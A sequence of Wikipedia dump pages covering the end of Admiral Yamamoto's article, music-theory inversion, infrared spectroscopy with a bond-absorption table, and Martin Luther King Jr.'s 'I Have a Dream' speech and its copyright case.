After the war it was found that none of the escorting Japanese fighters were even damaged, much less shot down, and Lanphier was stripped of his claim for a Zero shot down. Since other Zero fighters were taking off from nearby Kahili airfield, both Barber and Holmes were allowed their claims during the second combat. Also records confirmed that only two bombers had been shot down, not three, and subsequently the Air Force officially awarded &quot;half kills&quot; to Lanphier and Barber for the Yamamoto shootdown. A video-taped interview in 1985 with one of the escorting Zero pilots, Kenji Yanagiya, appeared to corroborate Barber's claim, but the Air Force declined to reopen the issue.

The crash site and body of Admiral Yamamoto were found the next day in the jungle north of Buin by a Japanese search and rescue party, led by Army engineer Lieutenant Hamasuna. According to Hamasuna, Yamamoto had been thrown clear of the plane's wreckage, his white-gloved hand grasping the hilt of his [[samurai]] [[sword]], still upright in his seat under a tree. Hamasuna said Yamamoto was instantly recognizable, head dipped down as deep in thought. A [[post-mortem]] of the body disclosed that Yamamoto received two wounds, one to the back of his left shoulder and one to his left lower jaw that exited above his right eye. Whether or not the admiral initially survived the crash has also been a matter of controversy in Japan.

In Japan this became known as the &quot;Navy ''kō'' incident&quot;(海軍甲事件). It raised morale in the States, and shocked the Japanese who were officially told about the incident only on [[21 May]] [[1943]]. To cover up the fact that the Allies were reading Japanese code, American news agencies were told the cover story originally created for briefing the 339th, that civilian coast-watchers in the Solomons saw Yamamoto boarding a bomber in the area.

Captain Watanabe and his staff cremated Yamamoto's remains at Buin, and the ashes were returned to Tokyo aboard the battleship [[Japanese battleship Musashi|''Musashi'']], Yamamoto's last flagship. Yamamoto was given a full state funeral on [[3 June]] [[1943]], where he received, posthumously, the title of Fleet Admiral and awarded the [[Order of the Chrysanthemum]], First Class. He was also the only foreigner awarded [[Nazi Germany]]'s highest military order. Part of his ashes were buried in the public cemetery in Tama in Tokyo(多摩霊園), and the remainder at his ancestral burial grounds at the Chuko-Ji Temple in Nagaoka City.

==References==
*Dull, Paul S. (1978). ''A Battle History of the Imperial Japanese Navy, 1941-1945'', Naval Institute Press. (ISBN 0870210971)

*Evans, David C.  and Mark R. Peattie (1997). ''Kaigun : Strategy, Tactics, and Technology in the Imperial Japanese Navy, 1887-1941'', Naval Institute Press.  (ISBN 0870211927)

*Lundstrom, John B. (1984). ''The First Team: Pacific Naval Air Combat from Pearl Harbor to Midway,'' Naval Institute Press. (ISBN 0870211897)

*Miller, Edward S. (1991). ''War Plan Orange: The U.S. Strategy to Defeat Japan, 1897-1945'', Naval Institute Press. (ISBN: 0870217593)

*Peattie, Mark R. (2002). ''Sunburst: The Rise of Japanese Naval Air Power, 1909-1941'',  Naval Institute Press.  (ISBN 1557504326)

* Prados, John (2001). ''Combined Fleet Decoded: The Secret History of American Intelligence and the Japanese Navy in World War II'',  Naval Institute Press, 1st Naval edition. (ISBN 1557504318)

==External links==
*[http://www.spartacus.schoolnet.co.uk/2WWyamamoto.htm Yamamoto biography] From Spartacus Educational
*[http://www.ww2db.com/person_bio.php?person_id=1 World War II Database: Isoroku Yamamoto biography]
*[http://www.ww2db.com/battle_spec.php?battle_id=51 World War II Database: Death of Yamamoto]
*[http://www.history.navy.mil/photos/prs-for/japan/japrs-xz/i-yamto.htm Admiral Isoroku Yamamoto, Japanese Navy] US Naval Historical Center
*[http://www.pacificwrecks.com/aircraft/g4m/2656.html Pacific Wrecks. Place where Yamamoto Type 1 bomber crash]

==Further reading==
* Agawa, Hiroyuki; Bester, John (trans.), ''The Reluctant Admiral'', Kodansha, 1979. (ISBN 4770025394) A definitive biography of Yamamoto in English. This book explains much of the political structure and events within Japan that lead to the war.

* Hoyt, Edwin P. ''Yamamoto: The Man Who Planned Pearl Harbor'', McGraw-Hill, 1990. (ISBN 158574428X)

* ''Fading Victory: The Diary of Admiral Matome Ugaki, 1941-45'',  University of Pittsburgh Press, 1991. (ISBN 0822954621)  Provides a high-level view of the war from the Japanese side, from the diaries of Yamamoto's Chief of Staff, Admiral [[Matome Ugaki]]. Provides evidence of the intentions of the imperial military establishment to seize Hawaii and to operate against the British navy in the Indian Ocean. Translated by [[Masataka Chihaya]], this edition contains extensive clarifying notes from the U.S. editors derived from U.S. military histories.

* Glines, Carroll V. ''Attack on Yamamoto'', Crown (1st edition), 1990. (ISBN 0517577283). Glines documents both the mission to shoot down Yamamoto and the subsequent controversies with thorough research, including personal interviews with all surviving participants and researchers who examined the crash site. 

[[Category:1884 births|Yamamoto Isoroku]]
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  <page>
    <title>Inversion (music)</title>
    <id>15409</id>
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      <id>38313861</id>
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      <minor />
      <text xml:space="preserve">:''For non-musical meanings of inversion, see [[inversion]].''
In [[music theory]], the word '''''inversion''''' has several meanings. There are inverted ''chords'', inverted ''melodies'', inverted ''intervals'', and (in [[counterpoint]]) inverted ''voices''.  The concept of inversion also plays a role in [[musical set theory]].

==Inverted chords==

An inverted [[chord (music)|chord]] is a chord which has a note other than its [[Root (chord)|root note]] as the [[bass note]]. Since [[Rameau]] (1722), chords remain equivalent when inverted, being functions rather than sonorities. However, before Rameau factors including the ''regola delle terze e seste'', &quot;rule of sixths and thirds&quot;, which required the resolution of imperfect consonances to perfect ones, precluded the analysis of &lt;sup&gt;6&lt;/sup&gt;&lt;sub&gt;4&lt;/sub&gt; sonorites as inversions of &lt;sup&gt;5&lt;/sup&gt;&lt;sub&gt;3&lt;/sub&gt; sonorities.

For example, the ''[[root position]]'' of a triad of C major has the C in the bass:

[[Image:c_triad.png]]

A triad in root position, therefore, consists of the root note and a third and a fifth above it. Triads in root position are also in [[normal form]].

The ''[[first inversion]]'' of the same triad has the E, the third of the triad, in the bass:

[[Image:inv2.png]]

This means that a triad in first inversion consists of the root plus a third and a sixth above it.  The ''[[second inversion]]'' has the fifth, the G, in the bass:

[[Image:inv3.png]]

A triad in second inversion, therefore, consists of the root plus a fourth and a sixth above it. 

The ''third inversion'' of a triad does not really make much sense to discuss, since inverting the second inversion just leads to the tonic again, an octave higher. Chords of four notes or more, however, can be in their third inversion: the third inversion of a [[dominant seventh]] in C major, for example (made up of the notes G, B, D and F) has the seventh, F, in the bass. This gives a chord made up of the root plus a second, fourth and sixth above it. 

The terms &quot;root&quot;, &quot;first inversion&quot;, and &quot;second inversion&quot; may also be applied to chords in which the notes are not closely spaced.  For instance, C-G-E, where the E is a major sixth above G, is also considered to be in root position, and more generally, any C major chord in which C is the lowest note is considered to be in root position.  Similarly, any C major chord with E on the bottom counts as a first inversion, any C major chord with G on the bottom counts as a second inversion; and analogously for all other chords.

===Notations for inverted chords===

There are at least four different notations for the inversions of chords.

(i) Perhaps the most commonly used method is [[figured bass]].  In this system, first inversions are normally indicated by the digit 6 and second inversions by the digits 64.  A full presentation of figured bass notation is given in the Wikipedia article on this subject. 

(ii) The letters a, b, c, etc., may be placed after any chord symbol to indicate the root, first and second inversion respectively. Hence the C chord below, in first inversion (i.e. with E in the bass) may be notated as Cb. (If no letter is added, the chord is assumed to be in root inversion, having the same meaning as if  'a'  had been added explicitly.)

[[Image:inv2.png]]

(iii) A less common, but occasionally used, notation for chord inversion is to place the number 1, 2 or 3  etc. after a chord to indicate that it is in first, second, or third inversion respectively.  Hence the C chord above, in first inversion (i.e. with E in the bass) may be notated as C1. No number is added in the case of a chord in root inversion. This notation should not be confused with a quite different meaning of the same notation, where a number is  placed after a note name to indicate the octave in which a single note is to sound,  e.g. C4 is often used simply to mean the single note [[middle C]].

(iv) A notation for chord inversion often used in [[popular music]] is to write the name of a chord, followed by a forward slash, and then the name of the note that is to sound in the bass. For example, the C chord above, in first inversion (i.e. with E in the bass) may be notated as C/E.  Interestingly, this  notation works consistently even when a note  not present in a triad or other chord is to sound in the bass, e.g. F/G  is a way of notating a particular approach to voicing a G13th chord. This should not be confused with notations of the &quot;[[diatonic functionality|function]] of function&quot; style, for instance the subdominant of the dominant is IV/V or S/D.

==Inverted intervals==

An [[interval (music)|interval]] is inverted by raising or lowering either of the notes the necessary number of [[octave]]s, so that both retain their names ([[pitch class]]) and the one which was higher is now lower and vice versa, changing the perspective or relation between the pitch classes. For example, the inversion of an interval consisting of a C with an E above it is an E with a C above it - to work this out, the C may be moved up, the E may be lowered, or both may be moved. 

Under inversion, perfect intervals remain perfect, major intervals become minor and the reverse, augmented intervals become diminished and the reverse. (Double diminished intervals become double augmented intervals, and the reverse.) Traditional interval names sum to nine: seconds become sevenths and the reverse, thirds become sixes and the reverse, and fourths become fifths and the reverse. Thus a perfect fourth becomes a perfect fifth, an augmented fourth becomes a diminished fifth, and a simple interval (that is, one that is narrower than an octave) and its inversion, when added together, will equal an octave. See also [[complement (music)]].

==Inversion in counterpoint==

Contrapuntal inversion requires that two [[melody|melodies]], having accompanied each other once, do it again with the melody that had been in the high voice now in the low, and vice versa.  Also called &quot;double counterpoint&quot; (if two voices are involved) or &quot;triple counterpoint&quot; (if three), themes that can be developed in this way are said to involve themselves in &quot;invertible counterpoint.&quot;

Invertible counterpoint can occur at various intervals, usually the octave (8va), less often at the 10th or 12th.  To calculate the interval of inversion, add the intervals by which each voice has moved and subtract one.  For example: If motive A in the high voice moves down a 6th, and motive B in the low voice moves up a 5th, in such a way as to result in A and B having exchanged registers, then the two are in double counterpoint at the 10th (6+5)-1 = 10.

Invertible counterpoint achieves its highest expression in the four canons of J. S. Bach's [[Art of Fugue|Art of Fugue]], with the first canon at the 8va, the second canon at the 10th, the third canon at the 12th, and the fourth canon in augmentation and contrary motion.  Other exemplars can be found in the fugues in [http://jan.ucc.nau.edu/~tas3/wtc/ii16.html#movie G minor] and [http://jan.ucc.nau.edu/~tas3/wtc/ii21.html#movie B-flat major] [external Shockwave movies] from Book II of Bach's [[Well-Tempered Clavier|Well-Tempered Clavier]], both of which contain invertible counterpoint at the 8va, 10th, and 12th.

==Inverted melodies==

When applied to [[melody|melodies]], the ''inversion'' of a given melody is the melody turned upside-down.  For instance, if the original melody has a rising major third (see [[interval (music)|interval]]), the inverted melody has a falling major third (or perhaps more likely, in tonal music, a falling ''minor'' third, or even some other falling interval). Similarly, in [[twelve-tone technique]], the ''inversion'' of the [[tone row]] is the so-called ''prime series'' turned upside-down.

==Inversional equivalency==

'''Inversional equivalency''' or '''inversional symmetry''' is the concept that [[interval (music)|interval]]s, [[chord (music)|chord]]s, and other sets of pitches are the same when inverted. It is similar to [[enharmonic equivalency]] and [[octave equivalency]] and even [[transpositional equivalency]]. Inversional equivalency is used little in [[tonal]] theory, though it is assumed a set which may be inverted onto another are remotely in common. However, taking them to be identical or near-identical is only assumed in musical set theory.

All sets of pitches with inversional symmetry have a '''center''' or '''axis of inversion'''. For example, the set C-E-F-F#-G-B has one center at the dyad F and F# and another at the tritone, B/C, if listed F#-G-B-C-E-F. For C-Eb-E-F#-G-Bb the center is F and B if listed F#-G-Bb-C-Eb-E. (Wilson 1992, p.10-11)

==Inversion in musical set theory==

In [[musical set theory]] inversion may be usefully thought of as the compound operation ''transpositional inversion'', which is the same sense of inversion as in the [[Inversion (music)#Inverted melodies|Inverted melodies]] section above, with transposition carried out after inversion. Pitch inversion by an ordered pitch interval may be defined as:
*&lt;math&gt; T^p_nI = -x+n &lt;/math&gt;
which equals
*&lt;math&gt; T^p_nI = n-x &lt;/math&gt;
First invert the pitch or pitches, ''x''=-''x'', then transpose, -''x''+''n''.

[[Pitch class]] inversion by a pitch class interval may be defined as:
*&lt;math&gt;T_nI(x) = -x+n\ (mod 12)&lt;/math&gt;

==Source==
*Wilson, Paul (1992). ''The Music of Béla Bartók''. ISBN 0300051115.

[[de:Umkehrung (Musik)]]

[[Category:Musical techniques]]
[[Category:Music theory]]</text>
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    <title>Iranaeus</title>
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  <page>
    <title>Infrared spectroscopy</title>
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      <text xml:space="preserve">[[Image:IR_spectrum_of_ethanol.gif|thumb|right|350px|IR spectrum of a thin film of liquid [[ethanol]].]]
'''Infrared spectroscopy''' (IR Spectroscopy) is a type of [[absorption spectroscopy]] that uses the [[Infrared]] part of the [[electromagnetic spectrum]].

As with [[spectroscopy | all spectroscopic techniques]], it can be used to identify a compound and to investigate the composition of a sample.

Infrared spectroscopy works because [[chemical bond]]s have specific frequencies at which they vibrate corresponding to [[energy level]]s. The [[resonant frequency|resonant frequencies]] are determined by the shape of the molecular [[potential energy surface]]s, the masses of the atoms and, eventually by the associated [[vibronic coupling]].  In order to be IR active, a molecule needs to have a changing dipole.  In particular, in the [[Born-Oppenheimer approximation | Born-Oppenheimer]] and harmonic approximations, i.e. when the [[molecular Hamiltonian]] corresponding to the electronic [[ground state]] can be approximated by a [[quantum harmonic oscillator | harmonic oscillator]] in the neighborhood of the equilibrium [[molecular geometry]], the resonant frequencies are determined by the [[normal modes]] corresponding to the molecular electronic ground state potential energy surface. Nevertheless, the resonant frequencies can be in a first approach related to the length of the bond, and the [[atomic mass|mass of the atoms]] at either end of it. Thus, the frequency of the vibrations can be associated with a particular bond type. Bonds can vibrate in six different ways, '''symmetrical and asymmetrical stretching''', '''scissoring''', '''rocking''', '''wagging''' and '''twisting'''; as shown below:

&lt;center&gt;
{|
|[[Image:Symmetrical stretching.gif|frame|symmetrical stretching]]
|[[Image:Asymmetrical_stretching.gif|frame|asymmetrical stretching]]
|-
|[[Image:Scissoring.gif|frame|scissoring]]
|[[Image:Twisting.gif|frame|twisting]]
|-
|[[Image:Wagging.gif|frame|wagging]]
|[[Image:Rocking.gif|frame|rocking]]
|}
&lt;/center&gt;

In order to measure a sample, a beam of [[monochromatic]] infrared light is passed through the sample, and the amount of energy absorbed is recorded. By repeating this operation across a range of interest (usually no more than 4000-5000 [[wavenumber|cm&lt;sup&gt;-1&lt;/sup&gt;]] or 0.5-0.6[[eV]], a chart can be built up. When looking at a chart for a substance, an experienced user can identify the substance from the information on the chart.

This technique works almost exclusively on [[Covalent bond|covalent bonds]], and as such is of most use in [[organic chemistry]]. Clear charts (or spectra) will be produced by samples with high levels of purity of one substance. The technique has been used for the characterization of very complex mixtures however. 

== Sample preparation ==
Liquid samples can be sandwiched between two plates of high purity salt (as in [[sodium chloride]], or common salt). The plates are transparent to the infrared light and will not introduce any lines onto the spectra. The plates are obviously highly soluble in water, and so the sample and washing reagents and the like must be [[anhydrous]] (without water).

Solid samples can be prepared in two major ways. The first is to crush the sample with a [[mulling agent]] (usually [[nujol]]) in a [[marble]] pestle and mortar. If the solid can be induced to dissolve, or at least be crushed into a very fine powder, then the results will be good.

The second method is to mix a quantity of the sample with a specially purified salt (usually [[potassium bromide]]). This powder mixture is then crushed in a pellet press in order to form a pellet through which the beam of the spectrometer can pass. This pellet must be crushed to high pressures in order to ensure that the pellet is translucent, but this can be achieved without powered machinery.  As with the sodium chloride plates, potassium bromide does not absorb infrared light, so spectral lines will only appear from the analyte.

== Typical method ==
[[Image:IR_spectroscopy_apparatus.jpeg|thumbnail|right|400px|Typical apparatus]]
A beam of infra-red light is produced and split into two separate beams. One is passed through the sample, the other passed through a reference which is often the substance the sample is dissolved in. The beams are both reflected back towards a detector, however first they pass through a splitter which quickly alternates which of the two beams enters the detector. The two signals are then compared and a printout is obtained. 

A reference is used for two reasons:
*This prevents fluctuations in the output of the source affecting the data

*This allows the effects of the solvent to be cancelled out (the reference is usually a pure form of the solvent the sample is in)

== Summary of absorptions of bonds in organic molecules ==
Absorptions listed in [[wavenumber]]s.
[[Image:IR_summary_version_2.gif|centre|frame]]

== Detailed absorptions table of bonds in organic molecules ==
{| border=&quot;1&quot; cellpadding=&quot;2&quot;
!Bond
!Type of bond
!Specific type of bond
!Absorption range and intensity
|-
|'''C-H'''
|alkyl
|methyl
|1380 cm&lt;sup&gt;-1&lt;/sup&gt; (weak), 1460 cm&lt;sup&gt;-1&lt;/sup&gt; (strong) and 2870, 2960 cm&lt;sup&gt;-1&lt;/sup&gt; (both strong to medium)
|-
|
|
|[[methylene]]
|1470 cm&lt;sup&gt;-1&lt;/sup&gt; (strong) and 2850, 2925 cm&lt;sup&gt;-1&lt;/sup&gt; (both strong to medium)
|-
|
|
|methyne
|2890 cm&lt;sup&gt;-1&lt;/sup&gt; (weak)
|-
|
|vinyl
|C=CH&lt;sub&gt;2&lt;/sub&gt;
|900 cm&lt;sup&gt;-1&lt;/sup&gt; (strong) and 2975, 3080 cm&lt;sup&gt;-1&lt;/sup&gt; (medium)
|-
|
|
|C=CH
|3020 cm&lt;sup&gt;-1&lt;/sup&gt; (medium)
|-
|
|
|monosubstituted [[alkene]]s
|900, 990 cm&lt;sup&gt;-1&lt;/sup&gt; (both strong)
|-
|
|
|cis-disubstituted alkenes
|670-700 cm&lt;sup&gt;-1&lt;/sup&gt; (strong)
|-
|
|
|trans-disubstituted alkenes
|965 cm&lt;sup&gt;-1&lt;/sup&gt; (strong)
|-
|
|
|trisubstituted alkenes
|800-840 cm&lt;sup&gt;-1&lt;/sup&gt; (strong to medium)
|-
|
|[[aromatic]]
|[[benzene]]/sub. benzene
|3070 cm&lt;sup&gt;-1&lt;/sup&gt; (weak)
|-
|
|
|monosubstituted benzene
|700-750 cm&lt;sup&gt;-1&lt;/sup&gt; (strong) and 700±10 cm&lt;sup&gt;-1&lt;/sup&gt; (strong)
|-
|
|
|ortho-disub. benzene
|750 cm&lt;sup&gt;-1&lt;/sup&gt; (strong)
|-
|
|
|meta-disub. benzene
|750-800 cm&lt;sup&gt;-1&lt;/sup&gt; (strong) and 860-900 cm&lt;sup&gt;-1&lt;/sup&gt; (strong)
|-
|
|
|para-disub. benzene
|800-860 cm&lt;sup&gt;-1&lt;/sup&gt; (strong)
|-
|
|[[alkynes]]
|
|3300 cm&lt;sup&gt;-1&lt;/sup&gt; (medium)
|-
|
|[[aldehydes]]
|
|2720, 2820 cm&lt;sup&gt;-1&lt;/sup&gt; (medium)
|-
|'''C-C'''
|acyclic C-C
|monosub. alkenes
|1645 cm&lt;sup&gt;-1&lt;/sup&gt; (medium)
|-
|
|
|1,1-disub. alkenes
|1655 cm&lt;sup&gt;-1&lt;/sup&gt; (medium)
|-
|
|
|cis-1,2-disub. alkenes
|1660 cm&lt;sup&gt;-1&lt;/sup&gt; (medium)
|-
|
|
|trans-1,2-disub. alkenes
|1675 cm&lt;sup&gt;-1&lt;/sup&gt; (medium)
|-
|
|
|trisub., tetrasub. alkenes
|1670 cm&lt;sup&gt;-1&lt;/sup&gt; (weak)
|-
|
|conjugated C-C
|dienes
|1600, 1650 cm&lt;sup&gt;-1&lt;/sup&gt; (strong)
|-
|
|
|with benzene ring
|1625 cm&lt;sup&gt;-1&lt;/sup&gt; (strong)
|-
|
|
|with C=O
|1600 cm&lt;sup&gt;-1&lt;/sup&gt; (strong)
|-
|
|aromatic C=C
|
|1450, 1500, 1580, 1600 cm&lt;sup&gt;-1&lt;/sup&gt; (strong to weak) - always ALL 4!
|-
|
|triple C-C
|terminal alkines
|2100-2140 cm&lt;sup&gt;-1&lt;/sup&gt; (weak)
|-
|
|
|disubst. alkines
|2190-2260 cm&lt;sup&gt;-1&lt;/sup&gt; (very weak, sometimes not visible)
|-
|'''C=O'''
|aldehyde/ketone
|saturated aliph./cyclic 6-membered
|1720 cm&lt;sup&gt;-1&lt;/sup&gt;
|-
|
|
|α,β-unsaturated
|1685 cm&lt;sup&gt;-1&lt;/sup&gt; (goes for aromatic ketones as well)
|-
|
|
|cyclic 5-membered
|1750 cm&lt;sup&gt;-1&lt;/sup&gt;
|-
|
|
|cyclic 4-membered
|1775  cm&lt;sup&gt;-1&lt;/sup&gt;
|-
|
|
|aldehydes
|1725 cm&lt;sup&gt;-1&lt;/sup&gt; (influence of conjugation like with ketones)
|-
|
|[[carboxylic acid]]s/derivates
|saturated carboxylic acids
|1710 cm&lt;sup&gt;-1&lt;/sup&gt;
|-
|
|
|unsat./aromatic carb. acids
|1680-1690 cm&lt;sup&gt;-1&lt;/sup&gt;
|-
|
|
|esters and [[lactones]]
|1735 cm&lt;sup&gt;-1&lt;/sup&gt; (influence of conjugation and ring size like with ketones)
|-
|
|
|anhydrides
|1760 and 1820 cm&lt;sup&gt;-1&lt;/sup&gt; (both!)
|-
|
|
|[[halogenides]]
|1800 cm&lt;sup&gt;-1&lt;/sup&gt;
|-
|
|
|[[amides]]
|1650 cm&lt;sup&gt;-1&lt;/sup&gt; (associated amides)
|-
|
|
|[[carboxylates]] (salts)
|1550-1610 cm&lt;sup&gt;-1&lt;/sup&gt; (goes for aminoacid zwitterions as well)
|-
|'''O-H'''
|alcohols, phenols
|
|3610-3670 cm&lt;sup&gt;-1&lt;/sup&gt; (concentrating samples broadens the band and moves it to 3200-3400 cm&lt;sup&gt;-1&lt;/sup&gt;)
|-
|
|carboxylic acids
|
|3500-3560 cm&lt;sup&gt;-1&lt;/sup&gt; (concentrating samples broadens the band and moves it to 3000 cm&lt;sup&gt;-1&lt;/sup&gt;)
|-
|'''N-H'''
|primary [[amines]]
|
|doublet between 3400-3500 cm&lt;sup&gt;-1&lt;/sup&gt; and 1560-1640 cm&lt;sup&gt;-1&lt;/sup&gt; (strong)
|-
|
|secondary amines
|
|above 3000 cm&lt;sup&gt;-1&lt;/sup&gt; (medium to weak)
|-
|
|ammonium ions
|
|broad bands with multiple peaks between 2400-3200 cm&lt;sup&gt;-1&lt;/sup&gt;
|-
|'''C-O'''
|alcohols
|primary
|1050±10 cm&lt;sup&gt;-1&lt;/sup&gt;
|-
|
|
|secondary
|around 1100 cm&lt;sup&gt;-1&lt;/sup&gt;
|-
|
|
|tertiary
|1150-1200 cm&lt;sup&gt;-1&lt;/sup&gt;
|-
|
|phenoles
|
|1200 cm&lt;sup&gt;-1&lt;/sup&gt;
|-
|
|ethers
|aliphatic
|1120 cm&lt;sup&gt;-1&lt;/sup&gt;
|-
|
|
|aromatic
|1220-1260 cm&lt;sup&gt;-1&lt;/sup&gt;
|-
|
|carboxylic acids
|
|1250-1300 cm&lt;sup&gt;-1&lt;/sup&gt;
|-
|
|esters
|
|1100-1300 cm&lt;sup&gt;-1&lt;/sup&gt; (two bands - distinction to ketones, which do not possess C-O!)
|-
|'''C-N'''
|aliphatic amines
|
|1020-1220 cm&lt;sup&gt;-1&lt;/sup&gt; (often overlapped)
|-
|
|C=N
|
|1615-1700 cm&lt;sup&gt;-1&lt;/sup&gt; (similar conjugation effects to C=O)
|-
|
|[[nitriles]] (triple C-N bond)
|
|2210-2260 cm&lt;sup&gt;-1&lt;/sup&gt; (unconjugated 2250, conjugated 2230 cm&lt;sup&gt;-1&lt;/sup&gt;)
|-
|
|[[isonitriles]] (R-N-C bond)
|
|2165-2110 cm&lt;sup&gt;-1&lt;/sup&gt; (2140 - 1990 cm&lt;sup&gt;-1&lt;/sup&gt; for R-N=C=S)
|-
|'''C-X (X=F, Cl, Br, I)'''
|[[fluoroalkane]]s
|ordinary
|1000-1100 cm&lt;sup&gt;-1&lt;/sup&gt;
|-
|
|
|trifluromethyl
|two strong, broad bands between 1100-1200 cm&lt;sup&gt;-1&lt;/sup&gt;
|-
|
|[[chloroalkanes]]
|
|540-760 cm&lt;sup&gt;-1&lt;/sup&gt; (medium to weak)
|-
|
|[[bromoalkanes]]
|
|below 600 cm&lt;sup&gt;-1&lt;/sup&gt;
|-
|
|[[iodoalkanes]]
|
|below 600 cm&lt;sup&gt;-1&lt;/sup&gt;
|-
|'''N-O'''
|nitro compounds
|aliphatic
|1550 cm&lt;sup&gt;-1&lt;/sup&gt; (stronger band) and 1380 cm&lt;sup&gt;-1&lt;/sup&gt; (weaker band) - ALWAYS BOTH!
|-
|
|
|aromatic
|1520, 1350 cm&lt;sup&gt;-1&lt;/sup&gt; (conjugation usually lowers the wave number)
|}

The absorptions in this range do not apply ''only'' to bonds in organic molecules. IR spectroscopy is useful when it comes to analysis of inorganic compounds (such as [[Metal complex|metal complexes]]  or fluoromanganates) as well.

== Uses and applications ==
Techniques have been developed to assess the quality of tea-leaves using infrared spectroscopy. This will mean that highly trained experts (also called 'noses') can be used more sparingly, at a significant cost saving.

Infrared spectroscopy is widely used in both research and industry as a simple and reliable technique for measurement, quality control, and dynamic measurement. The instruments are now small, and can be transported, even for use in field trials. With increasing technology in computer filtering and manipulation of the results, samples in solution can now be measured accurately (water produces a broad absorbance across the range of interest, and thus renders the spectra unreadable without this computer treatment). Some machines will also automatically tell you what substance is being measured from a store of thousands of reference spectra held in storage.

By measuring at a specific frequency over time, changes in the character or quantity of a particular bond can be measured. This is especially useful in measuring the degree of polymerization in [[polymer]] manufacture. Modern research machines can take infrared measurements across the whole range of interest as frequently as 32 times a second. This can be done whilst simultaneous measurements are made using other techniques. This makes the observations of chemical reactions and processes quicker, more accurate, and more

== Fourier transform Infrared spectroscopy ==
'''[[Fourier transform]] infrared (FTIR) spectroscopy''' is a measurement technique for collecting infrared spectra.  Instead of recording the amount of energy absorbed when the frequency of the infra-red light is varied (monochromator), the IR light is guided through an interferometer. After passing the sample the measured signal is the interferogram. Performing a mathematical Fourier Transform on this signal results in a spectrum identical to that from conventional (dispersive) infrared spectroscopy.  

FTIR spectrometers are cheaper than conventional spectrometers because building of interferometers is easier than the fabrication of a monochromator. In addition, measurement of a single spectrum is faster for the FTIR technique because the information of all frequencies is collected simultaneously. This allows multiple samples to be collected and averaged together resulting in an improvement in sensitivity. Because of its various advantages, virtually all modern infrared spectrometers are of the FTIR variety.

==See also==
*[[Fourier transform spectroscopy]]
*[[Near infrared spectroscopy]]
*[[Vibrational spectroscopy]]
*[[Rotational spectroscopy]]
*[[Spectroscopy]]

==External links==
* [http://chipo.chem.uic.edu/web1/ocol/spec/IR.htm Tutorial]
* [http://www.scienceofspectroscopy.info The Science of Spectroscopy] - supported by NASA. Spectroscopy education wiki and films - introduction to light, its uses in NASA, space science, astronomy, medicine &amp; health, environmental research, and consumer products.
* [http://www.gats-inc.com/spec_calc/spectral_calc.php Spectral calculator] - Quickly and easily calculate and plot transmission or radiance spectra.
* [http://www.gats-inc.com/hitran_browser/ High-resolution transmission molecular absorption database (HITRAN) browswer] - Browse the HITRAN 2004 database , plot absorption lines by position or intensity.
* A useful gif animation of different vibrational modes:  [http://www.shu.ac.uk/schools/sci/chem/tutorials/molspec/irspec1.htm here]


[[Category:Spectroscopy]]

[[da:IR spektrometer]]
[[de:IR-Spektroskopie]]
[[es:Espectroscopia infrarroja]]
[[he:גלאי אינפרא אדום פסיבי ]]
[[ja:赤外分光法]]
[[nl:Infraroodspectroscopie]]
[[pl:Spektroskopia IR]]
[[pt:Espectroscopia de infravermelho]]</text>
    </revision>
  </page>
  <page>
    <title>I Have a Dream</title>
    <id>15413</id>
    <revision>
      <id>41697296</id>
      <timestamp>2006-03-01T03:11:34Z</timestamp>
      <contributor>
        <username>Antandrus</username>
        <id>57658</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/129.62.90.120|129.62.90.120]] ([[User talk:129.62.90.120|talk]]) to last version by Butros</comment>
      <text xml:space="preserve">[[Image:Martin Luther King - March on Washington.jpg|thumb|Martin Luther King, Jr. delivering his speech at the DC Civil Rights March.]]
{{otherusespar|I Have A Dream}}
&quot;'''I Have a Dream'''&quot; is both the identifying phrase of and popular name for [[Martin Luther King, Jr.]]'s most famous [[Public speaking|speech]], a defining moment of the [[American Civil Rights Movement]]--and often seen as one of the greatest speeches ever. The speech was delivered on the steps at the [[Lincoln Memorial]] as part of the [[March on Washington for Jobs and Freedom]] in [[Washington, D.C.]] on [[August 28]], [[1963]]. It spoke powerfully and eloquently of King's desire for a future where blacks and whites would coexist harmoniously and as equals. 

==Style==
Widely hailed as a masterpiece of [[rhetoric]], King's speech resembles the style of a black Baptist [[sermon]]. It appeals to such iconic and widely-respected sources such as the Bible and U.S. Constitution. These are not so much cited (since they do not discuss the issue of desegregation) as invoked. That is, King makes use of their phrases and language for his own purposes. Rhythmic repetition is an important stylistic feature.

==Controversies==
Though widely revered posthumously, King was immensely controversial in his day. His major premise, that whites ought to allow blacks to dwell amongst them, drew criticism from whites (not only Southern) who saw this as an attack on the principle of &quot;free association.&quot; The supremacy of the federal government over the states ([[States' Rights]]) was similarly controversial. The controversy still rages, albeit in changed form, as courts must continue to rule on such issues as [[Desegregation busing|busing]].

King's allusion to the Declaration of Independence's dictum &quot;that all men are created equal&quot; has been cited by opponents of [[Affirmative Action]]. A California political advertisement arguing for a proposition banning Affirmative Action would have used a clip of King's speech. It was not allowed to air after King relatives asserted their copyright claims.

This speech has been through years of court cases, in various jurisdictions, to determine whether it was ever copyrighted &amp;mdash; the dispute was based on the fact that King had made his speech publicly to a large audience both live and televised, and only one month later did he register for copyright of his speech (as was then required by [[United States copyright law|U.S. copyright law]]). Finally, on November 5, 1999, in ''[[Estate of Martin Luther King, Jr., Inc. v. CBS, Inc.]]'', the 11th circuit of the United States Court of Appeals ruled that the public performance of his speech did not constitute &quot;general publication&quot; nor did it forfeit his copyright.  Thus, King's [[estate]] is able to forbid  redistribution of the speech or require a license fee, but they have since made the speech available to the [[Douglass Archives of American Public Address]] under terms that grant permission to &quot;download, reprint, and/or otherwise redistribute this file, provided this distribution statement is included and appropriate point of origin credit is given to the preparer and Douglass&quot; [http://usinfo.state.gov/usa/infousa/facts/democrac/38.htm].

== External links ==
* [http://douglassarchives.org/king_b12.htm I Have a Dream] (text of speech), ''Douglass Archives of American Public Address''.
* [http://www.worldwideschool.org/library/books/hst/northamerican/IHaveaDream/chap1.html Text of speech] : World Wide School
* [http://usinfo.state.gov/usa/infousa/facts/democrac/38.htm Text of speech] : United States Department of State
* [http://www.hpol.org/record.asp?id=72 Audio and text of speech]: History and Politics Out Loud
* [http://www.negrospirituals.com/news-song/free_at_last_from.htm Lyrics of the traditional spiritual &quot;Free At Last&quot;]
* [http://www.afb.org/Section.asp?SectionID=38&amp;DocumentID=2429 Digitally synchronized audio and text version of &quot;I Have a Dream&quot;]: downloadable DAISY file
* [http://blog.lextext.com/blog/_archives/2006/1/15/1676937.html mp3 of the speech for download]

[[Category:1963]]
[[Category:History of African-American civil rights]]
